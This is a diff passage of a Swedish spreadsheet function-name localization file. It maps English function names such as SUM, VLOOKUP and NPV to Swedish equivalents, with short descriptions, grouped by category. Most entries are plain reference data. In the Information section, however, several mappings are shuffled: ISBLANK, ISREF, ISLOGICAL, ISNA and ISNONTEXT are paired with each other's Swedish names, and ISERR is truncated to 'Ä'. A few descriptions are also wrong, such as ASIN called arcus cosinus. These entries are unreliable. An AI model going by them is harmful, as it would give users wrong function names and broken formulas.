dubbelfakulteten för ett tal -FLOOR = RUNDA.NED ## Avrundar ett tal nedåt mot noll -GCD = SGD ## Returnerar den största gemensamma nämnaren -INT = HELTAL ## Avrundar ett tal nedåt till närmaste heltal -LCM = MGM ## Returnerar den minsta gemensamma multipeln -LN = LN ## Returnerar den naturliga logaritmen för ett tal -LOG = LOG ## Returnerar logaritmen för ett tal för en given bas -LOG10 = LOG10 ## Returnerar 10-logaritmen för ett tal -MDETERM = MDETERM ## Returnerar matrisen som är avgörandet av en matris -MINVERSE = MINVERT ## Returnerar matrisinversen av en matris -MMULT = MMULT ## Returnerar matrisprodukten av två matriser -MOD = REST ## Returnerar resten vid en division -MROUND = MAVRUNDA ## Returnerar ett tal avrundat till en given multipel -MULTINOMIAL = MULTINOMIAL ## Returnerar multinomialen för en uppsättning tal -ODD = UDDA ## Avrundar ett tal uppåt till närmaste udda heltal -PI = PI ## Returnerar värdet pi -POWER = UPPHÖJT.TILL ## Returnerar resultatet av ett tal upphöjt till en exponent -PRODUCT = PRODUKT ## Multiplicerar argumenten -QUOTIENT = KVOT ## Returnerar heltalsdelen av en division -RADIANS = RADIANER ## Omvandlar grader till radianer -RAND = SLUMP ## Returnerar ett slumptal mellan 0 och 1 -RANDBETWEEN = SLUMP.MELLAN ## Returnerar ett slumptal mellan de tal som du anger -ROMAN = ROMERSK ## Omvandlar vanliga (arabiska) siffror till romerska som text -ROUND = AVRUNDA ## Avrundar ett tal till ett angivet antal siffror -ROUNDDOWN = AVRUNDA.NEDÅT ## Avrundar ett tal nedåt mot noll -ROUNDUP = AVRUNDA.UPPÅT ## Avrundar ett tal uppåt, från noll -SERIESSUM = SERIESUMMA ## Returnerar summan av en potensserie baserat på formeln -SIGN = TECKEN ## Returnerar tecknet för ett tal -SIN = SIN ## Returnerar sinus för en given vinkel -SINH = SINH ## Returnerar hyperbolisk sinus för ett tal -SQRT = ROT ## Returnerar den positiva kvadratroten -SQRTPI = ROTPI ## Returnerar kvadratroten för (tal * pi) -SUBTOTAL = DELSUMMA ## Returnerar en delsumma i en lista eller databas -SUM = SUMMA ## Summerar argumenten -SUMIF = SUMMA.OM ## Summerar celler enligt ett angivet villkor -SUMIFS = SUMMA.OMF ## Lägger till cellerna i ett område som uppfyller flera kriterier -SUMPRODUCT = PRODUKTSUMMA ## Returnerar summan av produkterna i motsvarande matriskomponenter -SUMSQ = KVADRATSUMMA ## Returnerar summan av argumentens kvadrater -SUMX2MY2 = SUMMAX2MY2 ## Returnerar summan av differensen mellan kvadraterna för motsvarande värden i två matriser -SUMX2PY2 = SUMMAX2PY2 ## Returnerar summan av summan av kvadraterna av motsvarande värden i två matriser -SUMXMY2 = SUMMAXMY2 ## Returnerar summan av kvadraten av skillnaden mellan motsvarande värden i två matriser -TAN = TAN ## Returnerar tangens för ett tal -TANH = TANH ## Returnerar hyperbolisk tangens för ett tal -TRUNC = AVKORTA ## Avkortar ett tal till ett heltal - - -## -## Statistical functions Statistiska funktioner -## -AVEDEV = MEDELAVV ## Returnerar medelvärdet för datapunkters absoluta avvikelse från deras medelvärde -AVERAGE = MEDEL ## Returnerar medelvärdet av argumenten -AVERAGEA = AVERAGEA ## Returnerar medelvärdet av argumenten, inklusive tal, text och logiska värden -AVERAGEIF = MEDELOM ## Returnerar medelvärdet (aritmetiskt medelvärde) för alla celler i ett område som uppfyller ett givet kriterium -AVERAGEIFS = MEDELOMF ## Returnerar medelvärdet (det aritmetiska medelvärdet) för alla celler som uppfyller flera villkor. -BETADIST = BETAFÖRD ## Returnerar den kumulativa betafördelningsfunktionen -BETAINV = BETAINV ## Returnerar inversen till den kumulativa fördelningsfunktionen för en viss betafördelning -BINOMDIST = BINOMFÖRD ## Returnerar den individuella binomialfördelningen -CHIDIST = CHI2FÖRD ## Returnerar den ensidiga sannolikheten av c2-fördelningen -CHIINV = CHI2INV ## Returnerar inversen av chi2-fördelningen -CHITEST = CHI2TEST ## Returnerar oberoendetesten -CONFIDENCE = KONFIDENS ## Returnerar konfidensintervallet för en populations medelvärde -CORREL = KORREL ## Returnerar korrelationskoefficienten mellan två datamängder -COUNT = ANTAL ## Räknar hur många tal som finns bland argumenten -COUNTA = ANTALV ## Räknar hur många värden som finns bland argumenten -COUNTBLANK = ANTAL.TOMMA ## Räknar antalet tomma celler i ett område -COUNTIF = ANTAL.OM ## Räknar antalet celler i ett område som uppfyller angivna villkor. -COUNTIFS = ANTAL.OMF ## Räknar antalet celler i ett område som uppfyller flera villkor. -COVAR = KOVAR ## Returnerar kovariansen, d.v.s. medelvärdet av produkterna för parade avvikelser -CRITBINOM = KRITBINOM ## Returnerar det minsta värdet för vilket den kumulativa binomialfördelningen är mindre än eller lika med ett villkorsvärde -DEVSQ = KVADAVV ## Returnerar summan av kvadrater på avvikelser -EXPONDIST = EXPONFÖRD ## Returnerar exponentialfördelningen -FDIST = FFÖRD ## Returnerar F-sannolikhetsfördelningen -FINV = FINV ## Returnerar inversen till F-sannolikhetsfördelningen -FISHER = FISHER ## Returnerar Fisher-transformationen -FISHERINV = FISHERINV ## Returnerar inversen till Fisher-transformationen -FORECAST = PREDIKTION ## Returnerar ett värde längs en linjär trendlinje -FREQUENCY = FREKVENS ## Returnerar en frekvensfördelning som en lodrät matris -FTEST = FTEST ## Returnerar resultatet av en F-test -GAMMADIST = GAMMAFÖRD ## Returnerar gammafördelningen -GAMMAINV = GAMMAINV ## Returnerar inversen till den kumulativa gammafördelningen -GAMMALN = GAMMALN ## Returnerar den naturliga logaritmen för gammafunktionen, G(x) -GEOMEAN = GEOMEDEL ## Returnerar det geometriska medelvärdet -GROWTH = EXPTREND ## Returnerar värden längs en exponentiell trend -HARMEAN = HARMMEDEL ## Returnerar det harmoniska medelvärdet -HYPGEOMDIST = HYPGEOMFÖRD ## Returnerar den hypergeometriska fördelningen -INTERCEPT = SKÄRNINGSPUNKT ## Returnerar skärningspunkten för en linjär regressionslinje -KURT = TOPPIGHET ## Returnerar toppigheten av en mängd data -LARGE = STÖRSTA ## Returnerar det n:te största värdet i en mängd data -LINEST = REGR ## Returnerar parametrar till en linjär trendlinje -LOGEST = EXPREGR ## Returnerar parametrarna i en exponentiell trend -LOGINV = LOGINV ## Returnerar inversen till den lognormala fördelningen -LOGNORMDIST = LOGNORMFÖRD ## Returnerar den kumulativa lognormala fördelningen -MAX = MAX ## Returnerar det största värdet i en lista av argument -MAXA = MAXA ## Returnerar det största värdet i en lista av argument, inklusive tal, text och logiska värden -MEDIAN = MEDIAN ## Returnerar medianen för angivna tal -MIN = MIN ## Returnerar det minsta värdet i en lista med argument -MINA = MINA ## Returnerar det minsta värdet i en lista över argument, inklusive tal, text och logiska värden -MODE = TYPVÄRDE ## Returnerar det vanligaste värdet i en datamängd -NEGBINOMDIST = NEGBINOMFÖRD ## Returnerar den negativa binomialfördelningen -NORMDIST = NORMFÖRD ## Returnerar den kumulativa normalfördelningen -NORMINV = NORMINV ## Returnerar inversen till den kumulativa normalfördelningen -NORMSDIST = NORMSFÖRD ## Returnerar den kumulativa standardnormalfördelningen -NORMSINV = NORMSINV ## Returnerar inversen till den kumulativa standardnormalfördelningen -PEARSON = PEARSON ## Returnerar korrelationskoefficienten till Pearsons momentprodukt -PERCENTILE = PERCENTIL ## Returnerar den n:te percentilen av värden i ett område -PERCENTRANK = PROCENTRANG ## Returnerar procentrangen för ett värde i en datamängd -PERMUT = PERMUT ## Returnerar antal permutationer för ett givet antal objekt -POISSON = POISSON ## Returnerar Poisson-fördelningen -PROB = SANNOLIKHET ## Returnerar sannolikheten att värden i ett område ligger mellan två gränser -QUARTILE = KVARTIL ## Returnerar kvartilen av en mängd data -RANK = RANG ## Returnerar rangordningen för ett tal i en lista med tal -RSQ = RKV ## Returnerar kvadraten av Pearsons produktmomentkorrelationskoefficient -SKEW = SNEDHET ## Returnerar snedheten för en fördelning -SLOPE = LUTNING ## Returnerar lutningen på en linjär regressionslinje -SMALL = MINSTA ## Returnerar det n:te minsta värdet i en mängd data -STANDARDIZE = STANDARDISERA ## Returnerar ett normaliserat värde -STDEV = STDAV ## Uppskattar standardavvikelsen baserat på ett urval -STDEVA = STDEVA ## Uppskattar standardavvikelsen baserat på ett urval, inklusive tal, text och logiska värden -STDEVP = STDAVP ## Beräknar standardavvikelsen baserat på hela populationen -STDEVPA = STDEVPA ## Beräknar standardavvikelsen baserat på hela populationen, inklusive tal, text och logiska värden -STEYX = STDFELYX ## Returnerar standardfelet för ett förutspått y-värde för varje x-värde i regressionen -TDIST = TFÖRD ## Returnerar Students t-fördelning -TINV = TINV ## Returnerar inversen till Students t-fördelning -TREND = TREND ## Returnerar värden längs en linjär trend -TRIMMEAN = TRIMMEDEL ## Returnerar medelvärdet av mittpunkterna i en datamängd -TTEST = TTEST ## Returnerar sannolikheten beräknad ur Students t-test -VAR = VARIANS ## Uppskattar variansen baserat på ett urval -VARA = VARA ## Uppskattar variansen baserat på ett urval, inklusive tal, text och logiska värden -VARP = VARIANSP ## Beräknar variansen baserat på hela populationen -VARPA = VARPA ## Beräknar variansen baserat på hela populationen, inklusive tal, text och logiska värden -WEIBULL = WEIBULL ## Returnerar Weibull-fördelningen -ZTEST = ZTEST ## Returnerar det ensidiga sannolikhetsvärdet av ett z-test - - -## -## Text functions Textfunktioner -## -ASC = ASC ## Ändrar helbredds (dubbel byte) engelska bokstäver eller katakana inom en teckensträng till tecken med halvt breddsteg (enkel byte) -BAHTTEXT = BAHTTEXT ## Omvandlar ett tal till text med valutaformatet ß (baht) -CHAR = TECKENKOD ## Returnerar tecknet som anges av kod -CLEAN = STÄDA ## Tar bort alla icke utskrivbara tecken i en text -CODE = KOD ## Returnerar en numerisk kod för det första tecknet i en textsträng -CONCATENATE = SAMMANFOGA ## Sammanfogar flera textdelar till en textsträng -DOLLAR = VALUTA ## Omvandlar ett tal till text med valutaformat -EXACT = EXAKT ## Kontrollerar om två textvärden är identiska -FIND = HITTA ## Hittar en text i en annan (skiljer på gemener och versaler) -FINDB = HITTAB ## Hittar en text i en annan (skiljer på gemener och versaler) -FIXED = FASTTAL ## Formaterar ett tal som text med ett fast antal decimaler -JIS = JIS ## Ändrar halvbredds (enkel byte) engelska bokstäver eller katakana inom en teckensträng till tecken med helt breddsteg (dubbel byte) -LEFT = VÄNSTER ## Returnerar tecken längst till vänster i en sträng -LEFTB = VÄNSTERB ## Returnerar tecken längst till vänster i en sträng -LEN = LÄNGD ## Returnerar antalet tecken i en textsträng -LENB = LÄNGDB ## Returnerar antalet tecken i en textsträng -LOWER = GEMENER ## Omvandlar text till gemener -MID = EXTEXT ## Returnerar angivet antal tecken från en text med början vid den position som du anger -MIDB = EXTEXTB ## Returnerar angivet antal tecken från en text med början vid den position som du anger -PHONETIC = PHONETIC ## Returnerar de fonetiska (furigana) tecknen i en textsträng -PROPER = INITIAL ## Ändrar första bokstaven i varje ord i ett textvärde till versal -REPLACE = ERSÄTT ## Ersätter tecken i text -REPLACEB = ERSÄTTB ## Ersätter tecken i text -REPT = REP ## Upprepar en text ett bestämt antal gånger -RIGHT = HÖGER ## Returnerar tecken längst till höger i en sträng -RIGHTB = HÖGERB ## Returnerar tecken längst till höger i en sträng -SEARCH = SÖK ## Hittar ett textvärde i ett annat (skiljer inte på gemener och versaler) -SEARCHB = SÖKB ## Hittar ett textvärde i ett annat (skiljer inte på gemener och versaler) -SUBSTITUTE = BYT.UT ## Ersätter gammal text med ny text i en textsträng -T = T ## Omvandlar argumenten till text -TEXT = TEXT ## Formaterar ett tal och omvandlar det till text -TRIM = RENSA ## Tar bort blanksteg från text -UPPER = VERSALER ## Omvandlar text till versaler -VALUE = TEXTNUM ## Omvandlar ett textargument till ett tal +## +## Add-in and Automation functions Tilläggs- och automatiseringsfunktioner +## +GETPIVOTDATA = HÄMTA.PIVOTDATA ## Returnerar data som lagrats i en pivottabellrapport + + +## +## Cube functions Kubfunktioner +## +CUBEKPIMEMBER = KUBKPIMEDLEM ## Returnerar namn, egenskap och mått för en KPI och visar namnet och egenskapen i cellen. En KPI, eller prestandaindikator, är ett kvantifierbart mått, t.ex. månatlig bruttovinst eller personalomsättning per kvartal, som används för att analysera ett företags resultat. +CUBEMEMBER = KUBMEDLEM ## Returnerar en medlem eller ett par i en kubhierarki. Används för att verifiera att medlemmen eller paret finns i kuben. +CUBEMEMBERPROPERTY = KUBMEDLEMSEGENSKAP ## Returnerar värdet för en medlemsegenskap i kuben. Används för att verifiera att ett medlemsnamn finns i kuben, samt för att returnera den angivna egenskapen för medlemmen. +CUBERANKEDMEMBER = KUBRANGORDNADMEDLEM ## Returnerar den n:te, eller rangordnade, medlemmen i en uppsättning. Används för att returnera ett eller flera element i en uppsättning, till exempelvis den bästa försäljaren eller de tio bästa eleverna. +CUBESET = KUBINSTÄLLNING ## Definierar en beräknad uppsättning medlemmar eller par genom att skicka ett bestämt uttryck till kuben på servern, som skapar uppsättningen och sedan returnerar den till Microsoft Office Excel. +CUBESETCOUNT = KUBINSTÄLLNINGANTAL ## Returnerar antalet objekt i en uppsättning. +CUBEVALUE = KUBVÄRDE ## Returnerar ett mängdvärde från en kub. + + +## +## Database functions Databasfunktioner +## +DAVERAGE = DMEDEL ## Returnerar medelvärdet av databasposterna +DCOUNT = DANTAL ## Räknar antalet celler som innehåller tal i en databas +DCOUNTA = DANTALV ## Räknar ifyllda celler i en databas +DGET = DHÄMTA ## Hämtar en enstaka post från en databas som uppfyller de angivna villkoren +DMAX = DMAX ## Returnerar det största värdet från databasposterna +DMIN = DMIN ## Returnerar det minsta värdet från databasposterna +DPRODUCT = DPRODUKT ## Multiplicerar värdena i ett visst fält i poster som uppfyller villkoret +DSTDEV = DSTDAV ## Uppskattar standardavvikelsen baserat på ett urval av databasposterna +DSTDEVP = DSTDAVP ## Beräknar standardavvikelsen utifrån hela populationen av valda databasposter +DSUM = DSUMMA ## Summerar talen i kolumnfält i databasposter som uppfyller villkoret +DVAR = DVARIANS ## Uppskattar variansen baserat på ett urval av databasposterna +DVARP = DVARIANSP ## Beräknar variansen utifrån hela populationen av valda databasposter + + +## +## Date and time functions Tid- och datumfunktioner +## +DATE = DATUM ## Returnerar ett serienummer för ett visst datum +DATEVALUE = DATUMVÄRDE ## Konverterar ett datum i textformat till ett serienummer +DAY = DAG ## Konverterar ett serienummer till dag i månaden +DAYS360 = DAGAR360 ## Beräknar antalet dagar mellan två datum baserat på ett 360-dagarsår +EDATE = EDATUM ## Returnerar serienumret för ett datum som infaller ett visst antal månader före eller efter startdatumet +EOMONTH = SLUTMÅNAD ## Returnerar serienumret för sista dagen i månaden ett visst antal månader tidigare eller senare +HOUR = TIMME ## Konverterar ett serienummer till en timme +MINUTE = MINUT ## Konverterar ett serienummer till en minut +MONTH = MÅNAD ## Konverterar ett serienummer till en månad +NETWORKDAYS = NETTOARBETSDAGAR ## Returnerar antalet hela arbetsdagar mellan två datum +NOW = NU ## Returnerar serienumret för dagens datum och aktuell tid +SECOND = SEKUND ## Konverterar ett serienummer till en sekund +TIME = KLOCKSLAG ## Returnerar serienumret för en viss tid +TIMEVALUE = TIDVÄRDE ## Konverterar en tid i textformat till ett serienummer +TODAY = IDAG ## Returnerar serienumret för dagens datum +WEEKDAY = VECKODAG ## Konverterar ett serienummer till en dag i veckan +WEEKNUM = VECKONR ## Konverterar ett serienummer till ett veckonummer +WORKDAY = ARBETSDAGAR ## Returnerar serienumret för ett datum ett visst antal arbetsdagar tidigare eller senare +YEAR = ÅR ## Konverterar ett serienummer till ett år +YEARFRAC = ÅRDEL ## Returnerar en del av ett år som representerar antalet hela dagar mellan start- och slutdatum + + +## +## Engineering functions Tekniska funktioner +## +BESSELI = BESSELI ## Returnerar den modifierade Bessel-funktionen In(x) +BESSELJ = BESSELJ ## Returnerar Bessel-funktionen Jn(x) +BESSELK = BESSELK ## Returnerar den modifierade Bessel-funktionen Kn(x) +BESSELY = BESSELY ## Returnerar Bessel-funktionen Yn(x) +BIN2DEC = BIN.TILL.DEC ## Omvandlar ett binärt tal till decimalt +BIN2HEX = BIN.TILL.HEX ## Omvandlar ett binärt tal till hexadecimalt +BIN2OCT = BIN.TILL.OKT ## Omvandlar ett binärt tal till oktalt +COMPLEX = KOMPLEX ## Omvandlar reella och imaginära koefficienter till ett komplext tal +CONVERT = KONVERTERA ## Omvandlar ett tal från ett måttsystem till ett annat +DEC2BIN = DEC.TILL.BIN ## Omvandlar ett decimalt tal till binärt +DEC2HEX = DEC.TILL.HEX ## Omvandlar ett decimalt tal till hexadecimalt +DEC2OCT = DEC.TILL.OKT ## Omvandlar ett decimalt tal till oktalt +DELTA = DELTA ## Testar om två värden är lika +ERF = FELF ## Returnerar felfunktionen +ERFC = FELFK ## Returnerar den komplementära felfunktionen +GESTEP = SLSTEG ## Testar om ett tal är större än ett tröskelvärde +HEX2BIN = HEX.TILL.BIN ## Omvandlar ett hexadecimalt tal till binärt +HEX2DEC = HEX.TILL.DEC ## Omvandlar ett hexadecimalt tal till decimalt +HEX2OCT = HEX.TILL.OKT ## Omvandlar ett hexadecimalt tal till oktalt +IMABS = IMABS ## Returnerar absolutvärdet (modulus) för ett komplext tal +IMAGINARY = IMAGINÄR ## Returnerar den imaginära koefficienten för ett komplext tal +IMARGUMENT = IMARGUMENT ## Returnerar det komplexa talets argument, en vinkel uttryckt i radianer +IMCONJUGATE = IMKONJUGAT ## Returnerar det komplexa talets konjugat +IMCOS = IMCOS ## Returnerar cosinus för ett komplext tal +IMDIV = IMDIV ## Returnerar kvoten för två komplexa tal +IMEXP = IMEUPPHÖJT ## Returnerar exponenten för ett komplext tal +IMLN = IMLN ## Returnerar den naturliga logaritmen för ett komplext tal +IMLOG10 = IMLOG10 ## Returnerar 10-logaritmen för ett komplext tal +IMLOG2 = IMLOG2 ## Returnerar 2-logaritmen för ett komplext tal +IMPOWER = IMUPPHÖJT ## Returnerar ett komplext tal upphöjt till en exponent +IMPRODUCT = IMPRODUKT ## Returnerar produkten av komplexa tal +IMREAL = IMREAL ## Returnerar den reella koefficienten för ett komplext tal +IMSIN = IMSIN ## Returnerar sinus för ett komplext tal +IMSQRT = IMROT ## Returnerar kvadratroten av ett komplext tal +IMSUB = IMDIFF ## Returnerar differensen mellan två komplexa tal +IMSUM = IMSUM ## Returnerar summan av komplexa tal +OCT2BIN = OKT.TILL.BIN ## Omvandlar ett oktalt tal till binärt +OCT2DEC = OKT.TILL.DEC ## Omvandlar ett oktalt tal till decimalt +OCT2HEX = OKT.TILL.HEX ## Omvandlar ett oktalt tal till hexadecimalt + + +## +## Financial functions Finansiella funktioner +## +ACCRINT = UPPLRÄNTA ## Returnerar den upplupna räntan för värdepapper med periodisk ränta +ACCRINTM = UPPLOBLRÄNTA ## Returnerar den upplupna räntan för ett värdepapper som ger avkastning på förfallodagen +AMORDEGRC = AMORDEGRC ## Returnerar avskrivningen för varje redovisningsperiod med hjälp av en avskrivningskoefficient +AMORLINC = AMORLINC ## Returnerar avskrivningen för varje redovisningsperiod +COUPDAYBS = KUPDAGBB ## Returnerar antal dagar från början av kupongperioden till likviddagen +COUPDAYS = KUPDAGARS ## Returnerar antalet dagar i kupongperioden som innehåller betalningsdatumet +COUPDAYSNC = KUPDAGNK ## Returnerar antalet dagar från betalningsdatumet till nästa kupongdatum +COUPNCD = KUPNKD ## Returnerar nästa kupongdatum efter likviddagen +COUPNUM = KUPANT ## Returnerar kuponger som förfaller till betalning mellan likviddagen och förfallodagen +COUPPCD = KUPFKD ## Returnerar föregående kupongdatum före likviddagen +CUMIPMT = KUMRÄNTA ## Returnerar den ackumulerade räntan som betalats mellan två perioder +CUMPRINC = KUMPRIS ## Returnerar det ackumulerade kapitalbeloppet som betalats på ett lån mellan två perioder +DB = DB ## Returnerar avskrivningen för en tillgång under en angiven tid enligt metoden för fast degressiv avskrivning +DDB = DEGAVSKR ## Returnerar en tillgångs värdeminskning under en viss period med hjälp av dubbel degressiv avskrivning eller någon annan metod som du anger +DISC = DISK ## Returnerar diskonteringsräntan för ett värdepapper +DOLLARDE = DECTAL ## Omvandlar ett pris uttryckt som ett bråk till ett decimaltal +DOLLARFR = BRÅK ## Omvandlar ett pris i kronor uttryckt som ett decimaltal till ett bråk +DURATION = LÖPTID ## Returnerar den årliga löptiden för en säkerhet med periodiska räntebetalningar +EFFECT = EFFRÄNTA ## Returnerar den årliga effektiva räntesatsen +FV = SLUTVÄRDE ## Returnerar det framtida värdet på en investering +FVSCHEDULE = FÖRRÄNTNING ## Returnerar det framtida värdet av ett begynnelsekapital beräknat på olika räntenivåer +INTRATE = ÅRSRÄNTA ## Returnerar räntesatsen för ett betalt värdepapper +IPMT = RBETALNING ## Returnerar räntedelen av en betalning för en given period +IRR = IR ## Returnerar internräntan för en serie betalningar +ISPMT = RALÅN ## Beräknar räntan som har betalats under en specifik betalningsperiod +MDURATION = MLÖPTID ## Returnerar den modifierade Macauley-löptiden för ett värdepapper med det antagna nominella värdet 100 kr +MIRR = MODIR ## Returnerar internräntan där positiva och negativa betalningar finansieras med olika räntor +NOMINAL = NOMRÄNTA ## Returnerar den årliga nominella räntesatsen +NPER = PERIODER ## Returnerar antalet perioder för en investering +NPV = NETNUVÄRDE ## Returnerar nuvärdet av en serie periodiska betalningar vid en given diskonteringsränta +ODDFPRICE = UDDAFPRIS ## Returnerar priset per 100 kr nominellt värde för ett värdepapper med en udda första period +ODDFYIELD = UDDAFAVKASTNING ## Returnerar avkastningen för en säkerhet med en udda första period +ODDLPRICE = UDDASPRIS ## Returnerar priset per 100 kr nominellt värde för ett värdepapper med en udda sista period +ODDLYIELD = UDDASAVKASTNING ## Returnerar avkastningen för en säkerhet med en udda sista period +PMT = BETALNING ## Returnerar den periodiska betalningen för en annuitet +PPMT = AMORT ## Returnerar amorteringsdelen av en annuitetsbetalning för en given period +PRICE = PRIS ## Returnerar priset per 100 kr nominellt värde för ett värdepapper som ger periodisk ränta +PRICEDISC = PRISDISK ## Returnerar priset per 100 kr nominellt värde för ett diskonterat värdepapper +PRICEMAT = PRISFÖRF ## Returnerar priset per 100 kr nominellt värde för ett värdepapper som ger ränta på förfallodagen +PV = PV ## Returnerar nuvärdet av en serie lika stora periodiska betalningar +RATE = RÄNTA ## Returnerar räntesatsen per period i en annuitet +RECEIVED = BELOPP ## Returnerar beloppet som utdelas på förfallodagen för ett betalat värdepapper +SLN = LINAVSKR ## Returnerar den linjära avskrivningen för en tillgång under en period +SYD = ÅRSAVSKR ## Returnerar den årliga avskrivningssumman för en tillgång under en angiven period +TBILLEQ = SSVXEKV ## Returnerar avkastningen motsvarande en obligation för en statsskuldväxel +TBILLPRICE = SSVXPRIS ## Returnerar priset per 100 kr nominellt värde för en statsskuldväxel +TBILLYIELD = SSVXRÄNTA ## Returnerar avkastningen för en statsskuldväxel +VDB = VDEGRAVSKR ## Returnerar avskrivningen för en tillgång under en angiven period (med degressiv avskrivning) +XIRR = XIRR ## Returnerar internräntan för en serie betalningar som inte nödvändigtvis är periodiska +XNPV = XNUVÄRDE ## Returnerar det nuvarande nettovärdet för en serie betalningar som inte nödvändigtvis är periodiska +YIELD = NOMAVK ## Returnerar avkastningen för ett värdepapper som ger periodisk ränta +YIELDDISC = NOMAVKDISK ## Returnerar den årliga avkastningen för diskonterade värdepapper, exempelvis en statsskuldväxel +YIELDMAT = NOMAVKFÖRF ## Returnerar den årliga avkastningen för ett värdepapper som ger ränta på förfallodagen + + +## +## Information functions Informationsfunktioner +## +CELL = CELL ## Returnerar information om formatering, plats och innehåll i en cell +ERROR.TYPE = FEL.TYP ## Returnerar ett tal som motsvarar ett felvärde +INFO = INFO ## Returnerar information om operativsystemet +ISBLANK = ÄRREF ## Returnerar SANT om värdet är tomt +ISERR = Ä ## Returnerar SANT om värdet är ett felvärde annat än #SAKNAS! +ISERROR = ÄRFEL ## Returnerar SANT om värdet är ett felvärde +ISEVEN = ÄRJÄMN ## Returnerar SANT om talet är jämnt +ISLOGICAL = ÄREJTEXT ## Returnerar SANT om värdet är ett logiskt värde +ISNA = ÄRLOGISK ## Returnerar SANT om värdet är felvärdet #SAKNAS! +ISNONTEXT = ÄRSAKNAD ## Returnerar SANT om värdet inte är text +ISNUMBER = ÄRTAL ## Returnerar SANT om värdet är ett tal +ISODD = ÄRUDDA ## Returnerar SANT om talet är udda +ISREF = ÄRTOM ## Returnerar SANT om värdet är en referens +ISTEXT = ÄRTEXT ## Returnerar SANT om värdet är text +N = N ## Returnerar ett värde omvandlat till ett tal +NA = SAKNAS ## Returnerar felvärdet #SAKNAS! +TYPE = VÄRDETYP ## Returnerar ett tal som anger värdets datatyp + + +## +## Logical functions Logiska funktioner +## +AND = OCH ## Returnerar SANT om alla argument är sanna +FALSE = FALSKT ## Returnerar det logiska värdet FALSKT +IF = OM ## Anger vilket logiskt test som ska utföras +IFERROR = OMFEL ## Returnerar ett värde som du anger om en formel utvärderar till ett fel; annars returneras resultatet av formeln +NOT = ICKE ## Inverterar logiken för argumenten +OR = ELLER ## Returnerar SANT om något argument är SANT +TRUE = SANT ## Returnerar det logiska värdet SANT + + +## +## Lookup and reference functions Sök- och referensfunktioner +## +ADDRESS = ADRESS ## Returnerar en referens som text till en enstaka cell i ett kalkylblad +AREAS = OMRÅDEN ## Returnerar antalet områden i en referens +CHOOSE = VÄLJ ## Väljer ett värde i en lista över värden +COLUMN = KOLUMN ## Returnerar kolumnnumret för en referens +COLUMNS = KOLUMNER ## Returnerar antalet kolumner i en referens +HLOOKUP = LETAKOLUMN ## Söker i den översta raden i en matris och returnerar värdet för angiven cell +HYPERLINK = HYPERLÄNK ## Skapar en genväg eller ett hopp till ett dokument i nätverket, i ett intranät eller på Internet +INDEX = INDEX ## Använder ett index för ett välja ett värde i en referens eller matris +INDIRECT = INDIREKT ## Returnerar en referens som anges av ett textvärde +LOOKUP = LETAUPP ## Letar upp värden i en vektor eller matris +MATCH = PASSA ## Letar upp värden i en referens eller matris +OFFSET = FÖRSKJUTNING ## Returnerar en referens förskjuten i förhållande till en given referens +ROW = RAD ## Returnerar radnumret för en referens +ROWS = RADER ## Returnerar antalet rader i en referens +RTD = RTD ## Hämtar realtidsdata från ett program som stöder COM-automation (Automation: Ett sätt att arbeta med ett programs objekt från ett annat program eller utvecklingsverktyg. Detta kallades tidigare för OLE Automation, och är en branschstandard och ingår i Component Object Model (COM).) +TRANSPOSE = TRANSPONERA ## Transponerar en matris +VLOOKUP = LETARAD ## Letar i den första kolumnen i en matris och flyttar över raden för att returnera värdet för en cell + + +## +## Math and trigonometry functions Matematiska och trigonometriska funktioner +## +ABS = ABS ## Returnerar absolutvärdet av ett tal +ACOS = ARCCOS ## Returnerar arcus cosinus för ett tal +ACOSH = ARCCOSH ## Returnerar inverterad hyperbolisk cosinus för ett tal +ASIN = ARCSIN ## Returnerar arcus cosinus för ett tal +ASINH = ARCSINH ## Returnerar hyperbolisk arcus sinus för ett tal +ATAN = ARCTAN ## Returnerar arcus tangens för ett tal +ATAN2 = ARCTAN2 ## Returnerar arcus tangens för en x- och en y- koordinat +ATANH = ARCTANH ## Returnerar hyperbolisk arcus tangens för ett tal +CEILING = RUNDA.UPP ## Avrundar ett tal till närmaste heltal eller närmaste signifikanta multipel +COMBIN = KOMBIN ## Returnerar antalet kombinationer för ett givet antal objekt +COS = COS ## Returnerar cosinus för ett tal +COSH = COSH ## Returnerar hyperboliskt cosinus för ett tal +DEGREES = GRADER ## Omvandlar radianer till grader +EVEN = JÄMN ## Avrundar ett tal uppåt till närmaste heltal +EXP = EXP ## Returnerar e upphöjt till ett givet tal +FACT = FAKULTET ## Returnerar fakulteten för ett tal +FACTDOUBLE = DUBBELFAKULTET ## Returnerar dubbelfakulteten för ett tal +FLOOR = RUNDA.NED ## Avrundar ett tal nedåt mot noll +GCD = SGD ## Returnerar den största gemensamma nämnaren +INT = HELTAL ## Avrundar ett tal nedåt till närmaste heltal +LCM = MGM ## Returnerar den minsta gemensamma multipeln +LN = LN ## Returnerar den naturliga logaritmen för ett tal +LOG = LOG ## Returnerar logaritmen för ett tal för en given bas +LOG10 = LOG10 ## Returnerar 10-logaritmen för ett tal +MDETERM = MDETERM ## Returnerar matrisen som är avgörandet av en matris +MINVERSE = MINVERT ## Returnerar matrisinversen av en matris +MMULT = MMULT ## Returnerar matrisprodukten av två matriser +MOD = REST ## Returnerar resten vid en division +MROUND = MAVRUNDA ## Returnerar ett tal avrundat till en given multipel +MULTINOMIAL = MULTINOMIAL ## Returnerar multinomialen för en uppsättning tal +ODD = UDDA ## Avrundar ett tal uppåt till närmaste udda heltal +PI = PI ## Returnerar värdet pi +POWER = UPPHÖJT.TILL ## Returnerar resultatet av ett tal upphöjt till en exponent +PRODUCT = PRODUKT ## Multiplicerar argumenten +QUOTIENT = KVOT ## Returnerar heltalsdelen av en division +RADIANS = RADIANER ## Omvandlar grader till radianer +RAND = SLUMP ## Returnerar ett slumptal mellan 0 och 1 +RANDBETWEEN = SLUMP.MELLAN ## Returnerar ett slumptal mellan de tal som du anger +ROMAN = ROMERSK ## Omvandlar vanliga (arabiska) siffror till romerska som text +ROUND = AVRUNDA ## Avrundar ett tal till ett angivet antal siffror +ROUNDDOWN = AVRUNDA.NEDÅT ## Avrundar ett tal nedåt mot noll +ROUNDUP = AVRUNDA.UPPÅT ## Avrundar ett tal uppåt, från noll +SERIESSUM = SERIESUMMA ## Returnerar summan av en potensserie baserat på formeln +SIGN = TECKEN ## Returnerar tecknet för ett tal +SIN = SIN ## Returnerar sinus för en given vinkel +SINH = SINH ## Returnerar hyperbolisk sinus för ett tal +SQRT = ROT ## Returnerar den positiva kvadratroten +SQRTPI = ROTPI ## Returnerar kvadratroten för (tal * pi) +SUBTOTAL = DELSUMMA ## Returnerar en delsumma i en lista eller databas +SUM = SUMMA ## Summerar argumenten 